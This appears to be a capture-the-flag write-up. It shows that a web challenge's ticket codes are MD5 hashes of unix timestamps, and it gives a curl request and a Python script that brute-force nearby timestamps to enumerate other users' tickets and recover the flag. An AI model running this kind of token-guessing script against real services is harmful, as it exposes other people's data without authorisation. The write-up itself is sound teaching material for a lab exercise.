In the source code of the website, it can be easily seen that the website uses PUT to send the data, not POST, so we try to send a POST ourselves, only to get an error. This error is caused by the missing key “code”. After **curl -X POST -s -d "code=d63af914bd1b6210c358e145d61a8abc" "http://35.246.152.131:31076"**, the code taken from the comment, we see that the server gave some feedback:

```
<div class="row">
    <hr>
    <p>Name: Nice one</p>
    <p>Message: Try harder!</p>
    <hr>
</div>
```

Next, I enetered the code I sent through a hash checker, and an md5 decryption returned 1628168161, which is a unix timestap. As a result, it is clear that the code we send is the unix timestamp for the ticket. This is vulnerable, as we can bruteforce timestamp values and see if we can uncover other tickets. This can be easily done with a script that filters the response by the structure mentioned previously. This script could be refined further if we know what message or name we are exactly after, but since it’s unclear if this is the last step, we simply run and pay attention to the output.

```python
import hashlib
import requests
from bs4 import BeautifulSoup

base = 1628168161
url = "http://35.246.152.131:31076"

def get_name_message(base_value):
    hashed = hashlib.md5(str(base_value).encode()).hexdigest()
    response = requests.post(url, data={"code": hashed})
    soup = BeautifulSoup(response.text, 'html.parser')
    rows = soup.find_all('div', class_='row')
    for row in rows:
        name_tag = row.find('p', string=lambda t: t and t.startswith('Name:'))
        message_tag = row.find('p', string=lambda t: t and
t.startswith('Message:'))
        if name_tag and message_tag:
            name = name_tag.string.split('Name:')[-1].strip()
            message = message_tag.string.split('Message:')[-1].strip()
            print(f"Base Value: {base_value}")
            print(f"Name: {name}")
            print(f"Message: {message}")
```

```
increment = 1
while abs(increment) <= 10000000:
    get_name_message(base + increment)
    get_name_message(base - increment)
    increment += 1
```

Soon the flag appears in the console.

Made with love by: AndreiCat